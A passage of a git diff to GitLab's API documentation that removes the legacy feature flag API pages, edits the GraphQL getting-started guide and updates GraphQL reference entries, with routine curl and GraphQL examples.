"updated_at": "2019-11-04T08:13:10.527Z" - } -] -``` - -## New feature flag spec - -Creates a new feature flag spec. - -```plaintext -POST /projects/:id/feature_flags/:name/scopes -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | -| `environment_scope` | string | yes | The [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. | -| `active` | boolean | yes | Whether the spec is active. | -| `strategies` | JSON | yes | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. | - -```shell -curl "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes" \ - --header "PRIVATE-TOKEN: <your_access_token>" \ - --header "Content-type: application/json" \ - --data @- << EOF -{ - "environment_scope": "*", - "active": false, - "strategies": [{ "name": "default", "parameters": {} }] -} -EOF -``` - -Example response: - -```json -{ - "id": 81, - "active": false, - "environment_scope": "*", - "strategies": [ - { - "name": "default", - "parameters": {} - } - ], - "created_at": "2019-11-04T08:13:10.527Z", - "updated_at": "2019-11-04T08:13:10.527Z" -} -``` - -## Single feature flag spec - -Gets a single feature flag spec. - -```plaintext -GET /projects/:id/feature_flags/:name/scopes/:environment_scope -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | -| `environment_scope` | string | yes | The URL-encoded [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/feature_flags/new_live_trace/scopes/production" -``` - -Example response: - -```json -{ - "id": 81, - "active": false, - "environment_scope": "production", - "strategies": [ - { - "name": "default", - "parameters": {} - } - ], - "created_at": "2019-11-04T08:13:10.527Z", - "updated_at": "2019-11-04T08:13:10.527Z" -} -``` - -## Edit feature flag spec - -Updates an existing feature flag spec. - -```plaintext -PUT /projects/:id/feature_flags/:name/scopes/:environment_scope -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | -| `environment_scope` | string | yes | The URL-encoded [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. | -| `active` | boolean | yes | Whether the spec is active. | -| `strategies` | JSON | yes | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. | - -```shell -curl "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes/production" \ - --header "PRIVATE-TOKEN: <your_access_token>" \ - --header "Content-type: application/json" \ - --data @- << EOF -{ - "active": true, - "strategies": [{ "name": "userWithId", "parameters": { "userIds": "1,2,3" } }] -} -EOF -``` - -Example response: - -```json -{ - "id": 81, - "active": true, - "environment_scope": "production", - "strategies": [ - { - "name": "userWithId", - "parameters": { "userIds": "1,2,3" } - } - ], - "created_at": "2019-11-04T08:13:10.527Z", - "updated_at": "2019-11-04T08:13:10.527Z" -} -``` - -## Delete feature flag spec - -Deletes a feature flag spec. - -```plaintext -DELETE /projects/:id/feature_flags/:name/scopes/:environment_scope -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | -| `environment_scope` | string | yes | The URL-encoded [environment spec](../ci/environments/index.md#scoping-environments-with-specs) of the feature flag. | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace/scopes/production" -``` +This API was removed in [GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). +Please use [the new API](feature_flags.md) instead. diff --git a/doc/api/feature_flags_legacy.md b/doc/api/feature_flags_legacy.md index 6e0763b6015..262e1c537a4 100644 --- a/doc/api/feature_flags_legacy.md +++ b/doc/api/feature_flags_legacy.md @@ -9,315 +9,5 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in GitLab Premium 12.5. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5. -WARNING: -This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). Use [this API](feature_flags.md) instead. - -API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md). - -Users with Developer or higher [permissions](../user/permissions.md) can access Feature Flag API. - -## Feature Flags pagination - -By default, `GET` requests return 20 results at a time because the API results -are [paginated](README.md#pagination). - -## List feature flags for a project - -Gets all feature flags of the requested project. - -```plaintext -GET /projects/:id/feature_flags -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `scope` | string | no | The condition of feature flags, one of: `enabled`, `disabled`. | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags" -``` - -Example response: - -```json -[ - { - "name":"merge_train", - "description":"This feature is about merge train", - "active": true, - "created_at":"2019-11-04T08:13:51.423Z", - "updated_at":"2019-11-04T08:13:51.423Z", - "scopes":[ - { - "id":82, - "active":false, - "environment_scope":"*", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:51.425Z", - "updated_at":"2019-11-04T08:13:51.425Z" - }, - { - "id":83, - "active":true, - "environment_scope":"review/*", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:51.427Z", - "updated_at":"2019-11-04T08:13:51.427Z" - }, - { - "id":84, - "active":false, - "environment_scope":"production", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:51.428Z", - "updated_at":"2019-11-04T08:13:51.428Z" - } - ] - }, - { - "name":"new_live_trace", - "description":"This is a new live trace feature", - "active": true, - "created_at":"2019-11-04T08:13:10.507Z", - "updated_at":"2019-11-04T08:13:10.507Z", - "scopes":[ - { - "id":79, - "active":false, - "environment_scope":"*", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:10.516Z", - "updated_at":"2019-11-04T08:13:10.516Z" - }, - { - "id":80, - "active":true, - "environment_scope":"staging", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:10.525Z", - "updated_at":"2019-11-04T08:13:10.525Z" - }, - { - "id":81, - "active":false, - "environment_scope":"production", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:10.527Z", - "updated_at":"2019-11-04T08:13:10.527Z" - } - ] - } -] -``` - -## New feature flag - -Creates a new feature flag. - -```plaintext -POST /projects/:id/feature_flags -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | -| `description` | string | no | The description of the feature flag. | -| `active` | boolean | no | The active state of the flag. Defaults to true. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. | -| `scopes` | JSON | no | The feature flag specs of the feature flag. | -| `scopes:environment_scope` | string | no | The environment spec. | -| `scopes:active` | boolean | no | Whether the spec is active. | -| `scopes:strategies` | JSON | no | The [strategies](../operations/feature_flags.md#feature-flag-strategies) of the feature flag spec. | - -```shell -curl "https://gitlab.example.com/api/v4/projects/1/feature_flags" \ - --header "PRIVATE-TOKEN: <your_access_token>" \ - --header "Content-type: application/json" \ - --data @- << EOF -{ - "name": "awesome_feature", - "scopes": [{ "environment_scope": "*", "active": false, "strategies": [{ "name": "default", "parameters": {} }] }, - { "environment_scope": "production", "active": true, "strategies": [{ "name": "userWithId", "parameters": { "userIds": "1,2,3" } }] }] -} -EOF -``` - -Example response: - -```json -{ - "name":"awesome_feature", - "description":null, - "active": true, - "created_at":"2019-11-04T08:32:27.288Z", - "updated_at":"2019-11-04T08:32:27.288Z", - "scopes":[ - { - "id":85, - "active":false, - "environment_scope":"*", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:32:29.324Z", - "updated_at":"2019-11-04T08:32:29.324Z" - }, - { - "id":86, - "active":true, - "environment_scope":"production", - "strategies":[ - { - "name":"userWithId", - "parameters":{ - "userIds":"1,2,3" - } - } - ], - "created_at":"2019-11-04T08:32:29.328Z", - "updated_at":"2019-11-04T08:32:29.328Z" - } - ] -} -``` - -## Single feature flag - -Gets a single feature flag. - -```plaintext -GET /projects/:id/feature_flags/:name -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/feature_flags/new_live_trace" -``` - -Example response: - -```json -{ - "name":"new_live_trace", - "description":"This is a new live trace feature", - "active": true, - "created_at":"2019-11-04T08:13:10.507Z", - "updated_at":"2019-11-04T08:13:10.507Z", - "scopes":[ - { - "id":79, - "active":false, - "environment_scope":"*", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:10.516Z", - "updated_at":"2019-11-04T08:13:10.516Z" - }, - { - "id":80, - "active":true, - "environment_scope":"staging", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:10.525Z", - "updated_at":"2019-11-04T08:13:10.525Z" - }, - { - "id":81, - "active":false, - "environment_scope":"production", - "strategies":[ - { - "name":"default", - "parameters":{ - - } - } - ], - "created_at":"2019-11-04T08:13:10.527Z", - "updated_at":"2019-11-04T08:13:10.527Z" - } - ] -} -``` - -## Delete feature flag - -Deletes a feature flag. - -```plaintext -DELETE /projects/:id/feature_flags/:name -``` - -| Attribute | Type | Required | Description | -| ------------------- | ---------------- | ---------- | ---------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). | -| `name` | string | yes | The name of the feature flag. | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" --request DELETE "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature" -``` +This API was removed in [GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). +Please use [the new API](feature_flags.md) instead. diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index b48ce48f6c3..85b36346167 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -4,12 +4,13 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Getting started with GitLab GraphQL API +# Get started with GitLab GraphQL API **(FREE)** This guide demonstrates basic usage of the GitLab GraphQL API. -See the [GraphQL API style guide](../../development/api_graphql_styleguide.md) for implementation details -aimed at developers who wish to work on developing the API itself. +Read the [GraphQL API style guide](../../development/api_graphql_styleguide.md) +for implementation details aimed at developers who wish to work on developing +the API itself. ## Running examples @@ -20,38 +21,43 @@ The examples documented here can be run using: ### Command line -You can run GraphQL queries in a `curl` request on the command line on your local machine. -A GraphQL request can be made as a `POST` request to `/api/graphql` with the query as the payload. -You can authorize your request by generating a [personal access token](../../user/profile/personal_access_tokens.md) -to use as a bearer token. +You can run GraphQL queries in a `curl` request on the command line on your +local computer. A GraphQL request can be made as a `POST` request to `/api/graphql` +with the query as the payload. You can authorize your request by generating a +[personal access token](../../user/profile/personal_access_tokens.md) to use as +a bearer token. Example: ```shell GRAPHQL_TOKEN=<your-token> -curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_TOKEN" --header "Content-Type: application/json" --request POST --data "{\"query\": \"query {currentUser {name}}\"}" +curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_TOKEN" \ + --header "Content-Type: application/json" --request POST \ + --data "{\"query\": \"query {currentUser {name}}\"}" ``` ### GraphiQL -GraphiQL (pronounced "graphical") allows you to run queries directly against the server endpoint -with syntax highlighting and autocomplete. It also allows you to explore the schema and types. +GraphiQL (pronounced "graphical") allows you to run queries directly against +the server endpoint with syntax highlighting and autocomplete. It also allows +you to explore the schema and types. The examples below: -- Can be run directly against GitLab 11.0 or later, though some of the types and fields -may not be supported in older versions. -- Works against GitLab.com without any further setup. Make sure you are signed in and -navigate to the [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer). +- Can be run directly against GitLab 11.0 or later, though some of the types + and fields may not be supported in older versions. +- Works against GitLab.com without any further setup. Make sure you are signed + in and navigate to the [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer). -If you want to run the queries locally, or on a self-managed instance, -you must either: +If you want to run the queries locally, or on a self-managed instance, you must +either: -- Create the `gitlab-org` group with a project called `graphql-sandbox` under it. Create -several issues within the project. -- Edit the queries to replace `gitlab-org/graphql-sandbox` with your own group and project. +- Create the `gitlab-org` group with a project called `graphql-sandbox` under + it. Create several issues in the project. +- Edit the queries to replace `gitlab-org/graphql-sandbox` with your own group + and project. -Please refer to [running GraphiQL](index.md#graphiql) for more information. +Refer to [running GraphiQL](index.md#graphiql) for more information. NOTE: If you are running GitLab 11.0 to 12.0, enable the `graphql` @@ -72,8 +78,8 @@ which is an object identifier in the format of `"gid://gitlab/Issue/123"`. [GitLab GraphQL Schema](reference/index.md) outlines which objects and fields are available for clients to query and their corresponding data types. -Example: Get only the names of all the projects the currently logged in user can access (up to a limit, more on that later) -in the group `gitlab-org`. +Example: Get only the names of all the projects the currently logged in user can +access (up to a limit) in the group `gitlab-org`. ```graphql query { @@ -106,12 +112,12 @@ query { When retrieving child nodes use: -- the `edges { node { } }` syntax. -- the short form `nodes { }` syntax. +- The `edges { node { } }` syntax. +- The short form `nodes { }` syntax. Underneath it all is a graph we are traversing, hence the name GraphQL. -Example: Get a project (only its name) and the titles of all its issues. +Example: Get the name of a project, and the titles of all its issues. ```graphql query { @@ -128,23 +134,24 @@ query { ``` More about queries: -[GraphQL docs](https://graphql.org/learn/queries/) +[GraphQL documentation](https://graphql.org/learn/queries/) ### Authorization -Authorization uses the same engine as the GitLab application (and GitLab.com). So if you've signed in to GitLab -and use GraphiQL, all queries are performed as you, the signed in user. For more information, see the +Authorization uses the same engine as the GitLab application (and GitLab.com). +If you've signed in to GitLab and use GraphiQL, all queries are performed as +you, the signed in user. For more information, read the [GitLab API documentation](../README.md#authentication). ### Mutations -Mutations make changes to data. We can update, delete, or create new records. Mutations -generally use InputTypes and variables, neither of which appear here. +Mutations make changes to data. We can update, delete, or create new records. +Mutations generally use InputTypes and variables, neither of which appear here. Mutations have: - Inputs. For example, arguments, such as which emoji you'd like to award, -and to which object. + and to which object. - Return statements. That is, what you'd like to get back when it's successful. - Errors. Always ask for what went wrong, just in case. @@ -172,8 +179,9 @@ mutation { } ``` -Example: Add a comment to the issue (we're using the ID of the `GitLab.com` issue - but -if you're using a local instance, you must get the ID of an issue you can write to). +Example: Add a comment to the issue. In this example, we use the ID of the +`GitLab.com` issue. If you're using a local instance, you must get the ID of an +issue you can write to. ```graphql mutation { @@ -194,7 +202,8 @@ mutation { #### Update mutations -When you see the result `id` of the note you created - take a note of it. Now let's edit it to sip faster! +When you see the result `id` of the note you created, take a note of it. Let's +edit it to sip faster. ```graphql mutation { @@ -212,7 +221,7 @@ mutation { #### Deletion mutations -Let's delete the comment, since our tea is all gone. +Let's delete the comment, because our tea is all gone. ```graphql mutation { @@ -242,16 +251,18 @@ You should get something like the following output: We've asked for the note details, but it doesn't exist anymore, so we get `null`. More about mutations: -[GraphQL Docs](https://graphql.org/learn/queries/#mutations). +[GraphQL Documentation](https://graphql.org/learn/queries/#mutations). ### Introspective queries Clients can query the GraphQL endpoint for information about its own schema. by making an [introspective query](https://graphql.org/learn/introspection/). +The [GraphiQL Query Explorer](https://gitlab.com/-/graphql-explorer) uses an +introspection query to: -It is through an introspection query that the [GraphiQL Query Explorer](https://gitlab.com/-/graphql-explorer) -gets all of its knowledge about our GraphQL schema to do autocompletion and provide -its interactive `Docs` tab. +- Gain knowledge about our GraphQL schema. +- Do autocompletion. +- Provide its interactive `Docs` tab. Example: Get all the type names in the schema. @@ -265,8 +276,8 @@ Example: Get all the type names in the schema. } ``` -Example: Get all the fields associated with Issue. -`kind` tells us the enum value for the type, like `OBJECT`, `SCALAR` or `INTERFACE`. +Example: Get all the fields associated with Issue. `kind` tells us the enum +value for the type, like `OBJECT`, `SCALAR` or `INTERFACE`. ```graphql query IssueTypes { @@ -285,12 +296,12 @@ query IssueTypes { ``` More about introspection: -[GraphQL docs](https://graphql.org/learn/introspection/) +[GraphQL documentation](https://graphql.org/learn/introspection/) ## Sorting -Some of the GitLab GraphQL endpoints allow you to specify how you'd like a collection of -objects to be sorted. You can only sort by what the schema allows you to. +Some of the GitLab GraphQL endpoints allow you to specify how to sort a +collection of objects. You can only sort by what the schema allows you to. Example: Issues can be sorted by creation date: @@ -310,17 +321,18 @@ query { ## Pagination -Pagination is a way of only asking for a subset of the records (say, the first 10). -If we want more of them, we can make another request for the next 10 from the server -(in the form of something like "please give me the next 10 records"). +Pagination is a way of only asking for a subset of the records, such as the +first ten. If we want more of them, we can make another request for the next +ten from the server in the form of something like `please give me the next ten records`. -By default, the GitLab GraphQL API returns 100 records per page. -This can be changed by using `first` or `last` arguments. Both arguments take a value, -so `first: 10` returns the first 10 records, and `last: 10` the last 10 records. -There is a limit on how many records will be returned per page, which is generally `100`. +By default, the GitLab GraphQL API returns 100 records per page. To change this +behavior, use `first` or `last` arguments. Both arguments take a value, so +`first: 10` returns the first ten records, and `last: 10` the last ten records. +There is a limit on how many records are returned per page, which is generally +`100`. -Example: Retrieve only the first 2 issues (slicing). The `cursor` field gives us a position from which -we can retrieve further records relative to that one. +Example: Retrieve only the first two issues (slicing). The `cursor` field gives +us a position from which we can retrieve further records relative to that one. ```graphql query { @@ -341,9 +353,10 @@ query { } ``` -Example: Retrieve the next 3. (The cursor value +Example: Retrieve the next three. (The cursor value `eyJpZCI6IjI3MDM4OTMzIiwiY3JlYXRlZF9hdCI6IjIwMTktMTEtMTQgMDU6NTY6NDQgVVRDIn0` -could be different, but it's the `cursor` value returned for the second issue returned above.) +could be different, but it's the `cursor` value returned for the second issue +returned above.) ```graphql query { @@ -365,5 +378,5 @@ query { } ``` -More on pagination and cursors: -[GraphQL docs](https://graphql.org/learn/pagination/) +More about pagination and cursors: +[GraphQL documentation](https://graphql.org/learn/pagination/) diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index 5864e5878b7..073f5faf57c 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -78,6 +78,11 @@ where the deprecated part of the schema is supported for a period of time before Clients should familiarize themselves with the process to avoid breaking changes affecting their integrations. +WARNING: +While GitLab will make all attempts to follow the [deprecation and removal process](#deprecation-and-removal-process), +GitLab may on very rare occasions need to make immediate breaking changes to the GraphQL API to patch critical security or performance +concerns and where the deprecation process would be considered to pose significant risk. + NOTE: Fields behind a feature flag and disabled by default are exempt from the deprecation process, and can be removed at any time without notice. @@ -129,7 +134,7 @@ New associations and root level objects are constantly being added. See the [GraphQL API Reference](reference/index.md) for up-to-date information. Root-level queries are defined in -[`app/graphql/types/query_type.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/graphql/types/query_type.rb). +[`app/graphql/types/query_type.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/types/query_type.rb). ### Multiplex queries diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index 7f496e1aded..0069d109e1e 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -83,11 +83,11 @@ Fields related to design management. Returns [`DesignManagement!`](#designmanagement). -### `Query.devopsAdoptionSegments` +### `Query.devopsAdoptionEnabledNamespaces` -Get configured DevOps adoption segments on the instance. **BETA** This endpoint is subject to change without notice. +Get configured DevOps adoption namespaces. **BETA** This endpoint is subject to change without notice. -Returns [`DevopsAdoptionSegmentConnection`](#devopsadoptionsegmentconnection). +Returns [`DevopsAdoptionEnabledNamespaceConnection`](#devopsadoptionenablednamespaceconnection). This field returns a [connection](#connections). It accepts the four standard [pagination arguments](#connection-pagination-arguments): @@ -97,8 +97,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="querydevopsadoptionsegmentsdirectdescendantsonly"></a>`directDescendantsOnly` | [`Boolean`](#boolean) | Limits segments to direct descendants of specified parent. | -| <a id="querydevopsadoptionsegmentsparentnamespaceid"></a>`parentNamespaceId` | [`NamespaceID`](#namespaceid) | Filter by ancestor namespace. | +| <a id="querydevopsadoptionenablednamespacesdisplaynamespaceid"></a>`displayNamespaceId` | [`NamespaceID`](#namespaceid) | Filter by display namespace. | ### `Query.echo` @@ -284,6 +283,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="queryprojectssearch"></a>`search` | [`String`](#string) | Search query for project name, path, or description. | | <a id="queryprojectssearchnamespaces"></a>`searchNamespaces` | [`Boolean`](#boolean) | Include namespace in project search. | | <a id="queryprojectssort"></a>`sort` | [`String`](#string) | Sort order of results. | +| <a id="queryprojectstopics"></a>`topics` | [`[String!]`](#string) | Filters projects by topics. | ### `Query.runner` @@ -336,6 +336,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | +| <a id="queryrunnerssearch"></a>`search` | [`String`](#string) | Filter by full token or partial text in description field. | | <a id="queryrunnerssort"></a>`sort` | [`CiRunnerSort`](#cirunnersort) | Sort order of results. | | <a id="queryrunnersstatus"></a>`status` | [`CiRunnerStatus`](#cirunnerstatus) | Filter runners by status. | | <a id="queryrunnerstaglist"></a>`tagList` | [`[String!]`](#string) | Filter by tags associated with the runner (comma-separated or array). | @@ -454,30 +455,6 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="queryvulnerabilitiescountbydayenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. | | <a id="queryvulnerabilitiescountbydaystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. | -### `Query.vulnerabilitiesCountByDayAndSeverity` - -Number of vulnerabilities per severity level, per day, for the projects on the -current user's instance security dashboard. -. - -WARNING: -**Deprecated** in 13.3. -Use of this is not recommended. -Use: [`Query.vulnerabilitiesCountByDay`](#queryvulnerabilitiescountbyday). - -Returns [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection). - -This field returns a [connection](#connections). It accepts the -four standard [pagination arguments](#connection-pagination-arguments): -`before: String`, `after: String`, `first: Int`, `last: Int`. - -#### Arguments - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="queryvulnerabilitiescountbydayandseverityenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. | -| <a id="queryvulnerabilitiescountbydayandseveritystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. | - ### `Query.vulnerability` Find a vulnerability. @@ -509,30 +486,6 @@ mutation($id: NoteableID!, $body: String!) { } ``` -### `Mutation.addAwardEmoji` - -WARNING: -**Deprecated** in 13.2. -Use awardEmojiAdd. - -Input type: `AddAwardEmojiInput` - -#### Arguments - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationaddawardemojiawardableid"></a>`awardableId` | [`AwardableID!`](#awardableid) | The global ID of the awardable resource. | -| <a id="mutationaddawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationaddawardemojiname"></a>`name` | [`String!`](#string) | The emoji name. | - -#### Fields - -| Name | Type | Description | -| ---- | ---- | ----------- | -| <a id="mutationaddawardemojiawardemoji"></a>`awardEmoji` | [`AwardEmoji`](#awardemoji) | The award emoji after mutation. | -| <a id="mutationaddawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationaddawardemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | - ### `Mutation.addProjectToSecurityDashboard` Input type: `AddProjectToSecurityDashboardInput` @@ -713,6 +666,28 @@ Input type: `AwardEmojiToggleInput` | <a id="mutationawardemojitoggleerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationawardemojitoggletoggledon"></a>`toggledOn` | [`Boolean!`](#boolean) | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. | +### `Mutation.boardEpicCreate` + +Input type: `BoardEpicCreateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationboardepiccreateboardid"></a>`boardId` | [`BoardsEpicBoardID!`](#boardsepicboardid) | Global ID of the board that the epic is in. | +| <a id="mutationboardepiccreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationboardepiccreategrouppath"></a>`groupPath` | [`ID!`](#id) | Group the epic to create is in. | +| <a id="mutationboardepiccreatelistid"></a>`listId` | [`BoardsEpicListID!`](#boardsepiclistid) | Global ID of the epic board list in which epic will be created. | +| <a id="mutationboardepiccreatetitle"></a>`title` | [`String!`](#string) | Title of the epic. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="mutationboardepiccreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationboardepiccreateepic"></a>`epic` | [`Epic`](#epic) | Epic after creation. | +| <a id="mutationboardepiccreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | + ### `Mutation.boardListCreate` Input type: `BoardListCreateInput` @@ -759,26 +734,27 @@ Input type: `BoardListUpdateLimitMetricsInput` | <a id="mutationboardlistupdatelimitmetricserrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | <a id="mutationboardlistupdatelimitmetricslist"></a>`list` | [`BoardList`](#boardlist) | The updated list. | -### `Mutation.bulkFindOrCreateDevopsAdoptionSegments` +### `Mutation.bulkEnableDevopsAdoptionNamespaces` **BETA** This endpoint is subject to change without notice. -Input type: `BulkFindOrCreateDevopsAdoptionSegmentsInput` +Input type: `BulkEnableDevopsAdoptionNamespacesInput` #### Arguments | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationbulkfindorcreatedevopsadoptionsegmentsclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationbulkfindorcreatedevopsadoptionsegmentsnamespaceids"></a>`namespaceIds` | [`[NamespaceID!]!`](#namespaceid) | List of Namespace IDs for the segments. | +| <a id="mutationbulkenabledevopsadoptionnamespacesclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationbulkenabledevopsadoptionnamespacesdisplaynamespaceid"></a>`displayNamespaceId` | [`NamespaceID`](#namespaceid) | Display namespace ID. | +| <a id="mutationbulkenabledevopsadoptionnamespacesnamespaceids"></a>`namespaceIds` | [`[NamespaceID!]!`](#namespaceid) | List of Namespace IDs. | #### Fields | Name | Type | Description | | ---- | ---- | ----------- | -| <a id="mutationbulkfindorcreatedevopsadoptionsegmentsclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | -| <a id="mutationbulkfindorcreatedevopsadoptionsegmentserrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| <a id="mutationbulkfindorcreatedevopsadoptionsegmentssegments"></a>`segments` | [`[DevopsAdoptionSegment!]`](#devopsadoptionsegment) | Created segments after mutation. | +| <a id="mutationbulkenabledevopsadoptionnamespacesclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| <a id="mutationbulkenabledevopsadoptionnamespacesenablednamespaces"></a>`enabledNamespaces` | [`[DevopsAdoptionEnabledNamespace!]`](#devopsadoptionenablednamespace) | Enabled namespaces after mutation. | +| <a id="mutationbulkenabledevopsadoptionnamespaceserrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | ### `Mutation.ciCdSettingsUpdate` @@ -790,6 +766,7 @@ Input type: `CiCdSettingsUpdateInput` | ---- | ---- | ----------- | | <a id="mutationcicdsettingsupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | <a id="mutationcicdsettingsupdatefullpath"></a>`fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. | +| <a id="mutationcicdsettingsupdatejobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI job tokens generated in this project have restricted access to resources. | | <a id="mutationcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. | | <a 